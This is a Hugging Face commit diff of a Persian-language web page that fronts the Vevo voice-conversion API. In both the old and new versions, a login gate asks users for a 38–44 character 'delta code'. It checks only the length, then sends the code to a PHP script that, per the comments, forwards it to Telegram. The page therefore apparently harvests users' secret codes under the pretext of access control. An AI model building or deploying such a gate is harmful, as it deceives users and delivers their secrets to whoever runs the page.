Hamed744 commited on
Commit
e5ae16c
·
verified ·
1 Parent(s): 6d603b3

Update index.html

Browse files
Files changed (1) hide show
  1. index.html +234 -206
index.html CHANGED
@@ -4,101 +4,111 @@
4
  <meta charset="UTF-8">
5
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
  <title>ساخت صدای اختصاصی</title>
 
7
  <style>
8
- /* General Styles */
9
  body {
10
- font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
11
- margin: 0;
12
  background-color: #f0f2f5;
13
  color: #333;
 
 
14
  display: flex;
15
- align-items: center;
16
  justify-content: center;
17
- min-height: 100vh;
18
- }
19
-
20
- /* Gate Overlay Styles */
21
- #gate-overlay {
22
- position: fixed;
23
- top: 0;
24
- left: 0;
25
- width: 100%;
26
- height: 100%;
27
- background: rgba(0, 0, 0, 0.6);
28
- backdrop-filter: blur(8px);
29
- display: flex;
30
  align-items: center;
31
- justify-content: center;
32
- z-index: 1000;
33
  }
34
 
35
- #gate-box {
36
- background: white;
 
37
  padding: 40px;
38
  border-radius: 12px;
39
  box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
40
  text-align: center;
41
- max-width: 400px;
42
  width: 90%;
43
- border-top: 5px solid #4299e1;
44
  }
45
 
46
- #gate-box h1 {
47
- color: #2c5282;
 
 
 
 
 
 
48
  margin-bottom: 15px;
 
49
  }
50
 
51
- #gate-box p {
52
- color: #718096;
53
- margin-bottom: 25px;
 
54
  }
55
 
56
  #delta-code-input {
57
  width: 100%;
58
- padding: 12px;
59
- border: 1px solid #cbd5e0;
60
  border-radius: 8px;
61
- box-sizing: border-box;
62
  font-size: 16px;
63
  text-align: center;
64
- margin-bottom: 10px;
65
  direction: ltr; /* For code input */
 
66
  }
67
 
68
- #submit-code-btn {
 
 
 
 
 
 
69
  width: 100%;
70
- padding: 12px;
71
- background-color: #4299e1;
72
  color: white;
73
  border: none;
74
  border-radius: 8px;
75
  cursor: pointer;
76
- font-size: 16px;
77
  font-weight: bold;
78
- transition: background-color 0.3s;
79
  }
80
 
81
- #submit-code-btn:hover {
82
- background-color: #3182ce;
 
83
  }
84
 
 
 
 
 
85
  #error-message {
86
- color: #e53e3e;
87
- font-size: 14px;
88
  margin-top: 15px;
89
- display: none; /* Hidden by default */
90
  font-weight: bold;
 
91
  }
92
-
93
- /* Main content should be hidden initially */
94
- #main-content {
95
- display: none;
 
 
 
 
96
  }
97
 
98
- /* Styles for Vevo API Container (Your Original Code) */
99
  #huggingface-vevo-api-container {
100
- font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
101
- margin: 40px auto;
102
  background-color: #f7fafc;
103
  color: #2d3748;
104
  direction: rtl;
@@ -180,19 +190,18 @@
180
  </head>
181
  <body>
182
 
183
- <!-- Gate Section (Login with Delta Code) -->
184
- <div id="gate-overlay">
185
- <div id="gate-box">
186
- <h1>ورود به پنل اختصاصی</h1>
187
- <p>برای دسترسی به ابزار تبدیل صدا، لطفاً کد دلتای خود را وارد کنید.</p>
188
- <input type="text" id="delta-code-input" placeholder="کد دلتا را اینجا وارد کنید">
189
- <button id="submit-code-btn">تأیید و ورود</button>
190
- <p id="error-message">کد وارد شده نامعتبر است. (باید بین ۳۸ تا ۴۴ کاراکتر باشد)</p>
191
- </div>
192
  </div>
193
 
194
- <!-- Main Content (Your Vevo API Tool) -->
195
- <div id="main-content">
 
196
  <div id="huggingface-vevo-api-container">
197
  <div class="container">
198
  <h1>رابط کاربری API برای Vevo</h1>
@@ -211,176 +220,195 @@
211
  <div id="result"></div>
212
  </div>
213
  </div>
 
214
  </div>
215
 
216
- <script>
217
- // Wait for the entire page to load
218
- document.addEventListener('DOMContentLoaded', () => {
219
-
220
- // --- SECTION 1: Gate Logic ---
221
-
222
- const gateOverlay = document.getElementById('gate-overlay');
223
- const mainContent = document.getElementById('main-content');
224
- const submitCodeBtn = document.getElementById('submit-code-btn');
225
- const deltaCodeInput = document.getElementById('delta-code-input');
226
- const errorMessage = document.getElementById('error-message');
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
227
 
228
- // Function to show the main content and hide the gate
229
- function showMainContent() {
230
- gateOverlay.style.display = 'none';
231
- mainContent.style.display = 'block';
232
- }
233
 
234
- // Check if user is already validated
235
- if (localStorage.getItem('deltaCodeValidated') === 'true') {
 
236
  showMainContent();
 
 
 
 
 
237
  }
 
 
 
 
 
 
238
 
239
- // Handle the code submission
240
- submitCodeBtn.addEventListener('click', () => {
241
- const code = deltaCodeInput.value.trim();
242
-
243
- // Validate the code length
244
- if (code.length >= 38 && code.length <= 44) {
245
- errorMessage.style.display = 'none';
246
-
247
- // Send code to Telegram via our PHP script
248
- fetch('notify.php', {
249
- method: 'POST',
250
- headers: {
251
- 'Content-Type': 'application/json',
252
- },
253
- body: JSON.stringify({ code: code }),
254
- })
255
- .catch(error => console.error('Error sending to Telegram:', error));
256
-
257
- // Save validation status in localStorage for future visits
258
- localStorage.setItem('deltaCodeValidated', 'true');
259
-
260
- // Show the main content
261
- showMainContent();
262
-
263
- } else {
264
- // Show error if code is invalid
265
- errorMessage.style.display = 'block';
266
- }
267
- });
268
 
 
 
 
 
 
 
 
 
 
269
 
270
- // --- SECTION 2: Vevo API Logic (Your Original JS) ---
271
-
272
- const container = document.getElementById('huggingface-vevo-api-container');
273
- const generateBtn = container.querySelector('#generateBtn');
274
- const sourceAudioInput = container.querySelector('#sourceAudio');
275
- const timbreRefInput = container.querySelector('#timbreRef');
276
- const statusDiv = container.querySelector('#status');
277
- const resultDiv = container.querySelector('#result');
278
-
279
- const API_URL = "https://amphion-vevo.hf.space/gradio_api/";
280
-
281
- function generateSessionHash() {
282
- return Math.random().toString(36).substring(2, 15);
283
- }
284
 
285
- async function uploadFile(file) {
286
- const formData = new FormData();
287
- formData.append("files", file);
288
 
289
- const response = await fetch(`${API_URL}upload`, {
290
- method: 'POST',
291
- body: formData
292
- });
293
 
294
- const result = await response.json();
295
- if (result && result.length > 0) {
296
- return result[0];
297
- } else {
298
- throw new Error("آپلود فایل با خطا مواجه شد.");
299
- }
300
  }
 
301
 
302
- async function startGeneration() {
303
- const sourceFile = sourceAudioInput.files[0];
304
- const timbreFile = timbreRefInput.files[0];
305
 
306
- if (!sourceFile || !timbreFile) {
307
- alert("لطفاً هر دو فایل صوتی را انتخاب کنید.");
308
- return;
309
- }
310
 
311
- generateBtn.disabled = true;
312
- statusDiv.textContent = 'در حال آپلود فایل اصلی...';
313
- resultDiv.innerHTML = '';
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
314
 
315
- const sessionHash = generateSessionHash();
316
-
317
- try {
318
- const sourcePath = await uploadFile(sourceFile);
319
- statusDiv.textContent = 'در حال آپلود فایل مرجع...';
320
- const timbrePath = await uploadFile(timbreFile);
321
-
322
- statusDiv.textContent = 'ارسال درخواست برای پردازش...';
323
-
324
- const joinPayload = {
325
- "data": [
326
- { "path": sourcePath, "url": `${API_URL}file=${sourcePath}`, "orig_name": sourceFile.name, "size": sourceFile.size, "mime_type": sourceFile.type, "meta": { "_type": "gradio.FileData" } },
327
- { "path": timbrePath, "url": `${API_URL}file=${timbrePath}`, "orig_name": timbreFile.name, "size": timbreFile.size, "mime_type": timbreFile.type, "meta": { "_type": "gradio.FileData" } }
328
- ],
329
- "event_data": null,
330
- "fn_index": 0,
331
- "trigger_id": 10,
332
- "session_hash": sessionHash
333
- };
334
-
335
- await fetch(`${API_URL}queue/join?`, {
336
- method: 'POST',
337
- headers: { 'Content-Type': 'application/json' },
338
- body: JSON.stringify(joinPayload)
339
- });
340
-
341
- statusDiv.textContent = 'در صف پردازش قرار گرفت. منتظر نتیجه بمانید...';
342
 
343
- const eventSource = new EventSource(`${API_URL}queue/data?session_hash=${sessionHash}`);
 
 
 
344
 
345
- eventSource.onmessage = function(event) {
346
- const data = JSON.parse(event.data);
 
 
 
 
347
 
348
- if (data.msg === 'process_starts') {
349
- statusDiv.textContent = 'پردازش شروع شد...';
350
- } else if (data.msg === 'process_completed') {
351
- statusDiv.textContent = 'پردازش با موفقیت انجام شد!';
352
- const resultPath = data.output.data[0].path;
353
- const resultUrl = `${API_URL}file=${resultPath}`;
354
-
355
- resultDiv.innerHTML = `
356
- <h3>نتیجه:</h3>
357
- <audio controls src="${resultUrl}"></audio>
358
- <br>
359
- <a href="${resultUrl}" download="output_voice.wav">دانلود فایل</a>
360
- `;
361
- eventSource.close();
362
- generateBtn.disabled = false;
363
- } else if (data.msg === 'queue_full') {
364
- statusDiv.textContent = 'صف پر است. لطفاً چند لحظه دیگر دوباره تلاش کنید.';
365
- eventSource.close();
366
- generateBtn.disabled = false;
367
- }
368
- };
369
-
370
- eventSource.onerror = function() {
371
- statusDiv.textContent = 'خطا در ارتباط با سرور.';
372
  eventSource.close();
373
  generateBtn.disabled = false;
374
- };
375
-
376
- } catch (error) {
377
- statusDiv.textContent = `خطا: ${error.message}`;
 
 
 
 
 
 
378
  generateBtn.disabled = false;
379
- }
 
 
 
 
380
  }
 
 
 
 
 
 
381
 
382
- generateBtn.addEventListener('click', startGeneration);
383
- });
384
- </script>
385
  </body>
386
  </html>
 
4
  <meta charset="UTF-8">
5
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
  <title>ساخت صدای اختصاصی</title>
7
+ <link href="https://fonts.googleapis.com/css2?family=Vazirmatn:wght@400;700&display=swap" rel="stylesheet">
8
  <style>
9
+ /* General Body Styles */
10
  body {
11
+ font-family: 'Vazirmatn', -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
 
12
  background-color: #f0f2f5;
13
  color: #333;
14
+ margin: 0;
15
+ padding: 0;
16
  display: flex;
 
17
  justify-content: center;
 
 
 
 
 
 
 
 
 
 
 
 
 
18
  align-items: center;
19
+ min-height: 100vh;
 
20
  }
21
 
22
+ /* --- Delta Code Gate Styles --- */
23
+ #delta-gate-container {
24
+ background-color: white;
25
  padding: 40px;
26
  border-radius: 12px;
27
  box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
28
  text-align: center;
29
+ max-width: 450px;
30
  width: 90%;
31
+ transition: opacity 0.5s ease-out, transform 0.5s ease-out;
32
  }
33
 
34
+ #delta-gate-container.hidden {
35
+ opacity: 0;
36
+ transform: scale(0.9);
37
+ pointer-events: none;
38
+ }
39
+
40
+ #delta-gate-container h1 {
41
+ color: #2c3e50;
42
  margin-bottom: 15px;
43
+ font-size: 26px;
44
  }
45
 
46
+ #delta-gate-container p {
47
+ color: #7f8c8d;
48
+ margin-bottom: 30px;
49
+ font-size: 16px;
50
  }
51
 
52
  #delta-code-input {
53
  width: 100%;
54
+ padding: 15px;
55
+ border: 1px solid #bdc3c7;
56
  border-radius: 8px;
 
57
  font-size: 16px;
58
  text-align: center;
59
+ box-sizing: border-box;
60
  direction: ltr; /* For code input */
61
+ margin-bottom: 20px;
62
  }
63
 
64
+ #delta-code-input:focus {
65
+ outline: none;
66
+ border-color: #3498db;
67
+ box-shadow: 0 0 0 3px rgba(52, 152, 219, 0.2);
68
+ }
69
+
70
+ #verify-button {
71
  width: 100%;
72
+ padding: 15px;
73
+ background: linear-gradient(135deg, #3498db, #2980b9);
74
  color: white;
75
  border: none;
76
  border-radius: 8px;
77
  cursor: pointer;
78
+ font-size: 18px;
79
  font-weight: bold;
80
+ transition: background 0.3s ease;
81
  }
82
 
83
+ #verify-button:disabled {
84
+ background: #bdc3c7;
85
+ cursor: not-allowed;
86
  }
87
 
88
+ #verify-button:hover:not(:disabled) {
89
+ background: linear-gradient(135deg, #2980b9, #3498db);
90
+ }
91
+
92
  #error-message {
93
+ color: #e74c3c;
 
94
  margin-top: 15px;
 
95
  font-weight: bold;
96
+ min-height: 20px;
97
  }
98
+
99
+
100
+ /* --- Main Content (Vevo API) Styles --- */
101
+ #main-content-container {
102
+ display: none; /* Hidden by default */
103
+ width: 100%;
104
+ max-width: 650px;
105
+ transition: opacity 0.5s ease-in;
106
  }
107
 
108
+ /* All styles are scoped to this container to avoid conflicts (FROM YOUR PROVIDED CODE) */
109
  #huggingface-vevo-api-container {
110
+ font-family: 'Vazirmatn', -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
111
+ margin: 20px auto;
112
  background-color: #f7fafc;
113
  color: #2d3748;
114
  direction: rtl;
 
190
  </head>
191
  <body>
192
 
193
+ <!-- Gate Container: Asks for Delta Code -->
194
+ <div id="delta-gate-container">
195
+ <h1>ورود به پنل اختصاصی</h1>
196
+ <p>برای دسترسی به ابزار ساخت صدا، لطفاً کد دسترسی (کد دلتا) خود را وارد کنید.</p>
197
+ <input type="text" id="delta-code-input" placeholder="کد دلتا را اینجا وارد کنید...">
198
+ <button id="verify-button">تأیید و ورود</button>
199
+ <div id="error-message"></div>
 
 
200
  </div>
201
 
202
+ <!-- Main Content: Your Voice Conversion Tool (Initially Hidden) -->
203
+ <div id="main-content-container">
204
+ <!-- YOUR PROVIDED HTML CODE STARTS HERE -->
205
  <div id="huggingface-vevo-api-container">
206
  <div class="container">
207
  <h1>رابط کاربری API برای Vevo</h1>
 
220
  <div id="result"></div>
221
  </div>
222
  </div>
223
+ <!-- YOUR PROVIDED HTML CODE ENDS HERE -->
224
  </div>
225
 
226
+ <script>
227
+ document.addEventListener('DOMContentLoaded', () => {
228
+
229
+ // --- Section 1: Gate Logic ---
230
+ const gateContainer = document.getElementById('delta-gate-container');
231
+ const mainContentContainer = document.getElementById('main-content-container');
232
+ const verifyButton = document.getElementById('verify-button');
233
+ const codeInput = document.getElementById('delta-code-input');
234
+ const errorMessage = document.getElementById('error-message');
235
+
236
+ const showMainContent = () => {
237
+ gateContainer.classList.add('hidden');
238
+ // Wait for the fade out animation to finish before hiding it completely
239
+ setTimeout(() => {
240
+ gateContainer.style.display = 'none';
241
+ mainContentContainer.style.display = 'block';
242
+ mainContentContainer.style.opacity = '1';
243
+ }, 500); // Must match CSS transition duration
244
+ };
245
+
246
+ // Check if user is already validated
247
+ if (localStorage.getItem('isDeltaCodeValidated') === 'true') {
248
+ showMainContent();
249
+ }
250
+
251
+ verifyButton.addEventListener('click', async () => {
252
+ const code = codeInput.value.trim();
253
+ errorMessage.textContent = '';
254
+
255
+ // 1. Validate code length
256
+ if (code.length < 38 || code.length > 44) {
257
+ errorMessage.textContent = 'کد دلتا نامعتبر است. طول کد باید بین ۳۸ تا ۴۴ کاراکتر باشد.';
258
+ return;
259
+ }
260
+
261
+ // 2. Send code to Telegram via PHP backend
262
+ verifyButton.disabled = true;
263
+ verifyButton.textContent = 'در حال بررسی...';
264
+
265
+ try {
266
+ // NOTE: 'send_code.php' must be in the same directory as this HTML file on your server
267
+ const response = await fetch('send_code.php', {
268
+ method: 'POST',
269
+ headers: {
270
+ 'Content-Type': 'application/x-www-form-urlencoded',
271
+ },
272
+ body: `delta_code=${encodeURIComponent(code)}`
273
+ });
274
 
275
+ const result = await response.json();
 
 
 
 
276
 
277
+ if (result.status === 'success') {
278
+ // 3. If successful, save state and show main content
279
+ localStorage.setItem('isDeltaCodeValidated', 'true');
280
  showMainContent();
281
+ } else {
282
+ // Handle potential server-side errors
283
+ errorMessage.textContent = result.message || 'خطا در ارتباط با سرور. لطفاً دوباره تلاش کنید.';
284
+ verifyButton.disabled = false;
285
+ verifyButton.textContent = 'تأیید و ورود';
286
  }
287
+ } catch (error) {
288
+ errorMessage.textContent = 'خطای شبکه. از اتصال اینترنت خود مطمئن شوید.';
289
+ verifyButton.disabled = false;
290
+ verifyButton.textContent = 'تأیید و ورود';
291
+ }
292
+ });
293
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
294
 
295
+ // --- Section 2: Your Vevo API Logic (Copied from your request) ---
296
+ // All JavaScript is scoped to the container as well
297
+ const container = document.getElementById('huggingface-vevo-api-container');
298
+ if (container) { // Ensure container exists before adding listeners
299
+ const generateBtn = container.querySelector('#generateBtn');
300
+ const sourceAudioInput = container.querySelector('#sourceAudio');
301
+ const timbreRefInput = container.querySelector('#timbreRef');
302
+ const statusDiv = container.querySelector('#status');
303
+ const resultDiv = container.querySelector('#result');
304
 
305
+ const API_URL = "https://amphion-vevo.hf.space/gradio_api/";
306
+
307
+ function generateSessionHash() {
308
+ return Math.random().toString(36).substring(2, 15);
309
+ }
 
 
 
 
 
 
 
 
 
310
 
311
+ async function uploadFile(file) {
312
+ const formData = new FormData();
313
+ formData.append("files", file);
314
 
315
+ const response = await fetch(`${API_URL}upload`, {
316
+ method: 'POST',
317
+ body: formData
318
+ });
319
 
320
+ const result = await response.json();
321
+ if (result && result.length > 0) {
322
+ return result[0];
323
+ } else {
324
+ throw new Error("آپلود فایل با خطا مواجه شد.");
 
325
  }
326
+ }
327
 
328
+ async function startGeneration() {
329
+ const sourceFile = sourceAudioInput.files[0];
330
+ const timbreFile = timbreRefInput.files[0];
331
 
332
+ if (!sourceFile || !timbreFile) {
333
+ alert("لطفاً هر دو فایل صوتی را انتخاب کنید.");
334
+ return;
335
+ }
336
 
337
+ generateBtn.disabled = true;
338
+ statusDiv.textContent = 'در حال آپلود فایل اصلی...';
339
+ resultDiv.innerHTML = '';
340
+
341
+ const sessionHash = generateSessionHash();
342
+
343
+ try {
344
+ const sourcePath = await uploadFile(sourceFile);
345
+ statusDiv.textContent = 'در حال آپلود فایل مرجع...';
346
+ const timbrePath = await uploadFile(timbreFile);
347
+
348
+ statusDiv.textContent = 'ارسال درخواست برای پردازش...';
349
+
350
+ const joinPayload = {
351
+ "data": [
352
+ { "path": sourcePath, "url": `${API_URL}file=${sourcePath}`, "orig_name": sourceFile.name, "size": sourceFile.size, "mime_type": sourceFile.type, "meta": { "_type": "gradio.FileData" } },
353
+ { "path": timbrePath, "url": `${API_URL}file=${timbrePath}`, "orig_name": timbreFile.name, "size": timbreFile.size, "mime_type": timbreFile.type, "meta": { "_type": "gradio.FileData" } }
354
+ ],
355
+ "event_data": null,
356
+ "fn_index": 0,
357
+ "trigger_id": 10,
358
+ "session_hash": sessionHash
359
+ };
360
+
361
+ await fetch(`${API_URL}queue/join?`, {
362
+ method: 'POST',
363
+ headers: { 'Content-Type': 'application/json' },
364
+ body: JSON.stringify(joinPayload)
365
+ });
366
 
367
+ statusDiv.textContent = 'در صف پردازش قرار گرفت. منتظر نتیجه بمانید...';
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
368
 
369
+ const eventSource = new EventSource(`${API_URL}queue/data?session_hash=${sessionHash}`);
370
+
371
+ eventSource.onmessage = function(event) {
372
+ const data = JSON.parse(event.data);
373
 
374
+ if (data.msg === 'process_starts') {
375
+ statusDiv.textContent = 'پردازش شروع شد...';
376
+ } else if (data.msg === 'process_completed') {
377
+ statusDiv.textContent = 'پردازش با موفقیت انجام شد!';
378
+ const resultPath = data.output.data[0].path;
379
+ const resultUrl = `${API_URL}file=${resultPath}`;
380
 
381
+ resultDiv.innerHTML = `
382
+ <h3>نتیجه:</h3>
383
+ <audio controls src="${resultUrl}"></audio>
384
+ <br>
385
+ <a href="${resultUrl}" download="output_voice.wav">دانلود فایل</a>
386
+ `;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
387
  eventSource.close();
388
  generateBtn.disabled = false;
389
+ } else if (data.msg === 'queue_full') {
390
+ statusDiv.textContent = 'صف پر است. لطفاً چند لحظه دیگر دوباره تلاش کنید.';
391
+ eventSource.close();
392
+ generateBtn.disabled = false;
393
+ }
394
+ };
395
+
396
+ eventSource.onerror = function() {
397
+ statusDiv.textContent = 'خطا در ارتباط با سرور.';
398
+ eventSource.close();
399
  generateBtn.disabled = false;
400
+ };
401
+
402
+ } catch (error) {
403
+ statusDiv.textContent = `خطا: ${error.message}`;
404
+ generateBtn.disabled = false;
405
  }
406
+ }
407
+
408
+ generateBtn.addEventListener('click', startGeneration);
409
+ }
410
+ });
411
+ </script>
412
 
 
 
 
413
  </body>
414
  </html>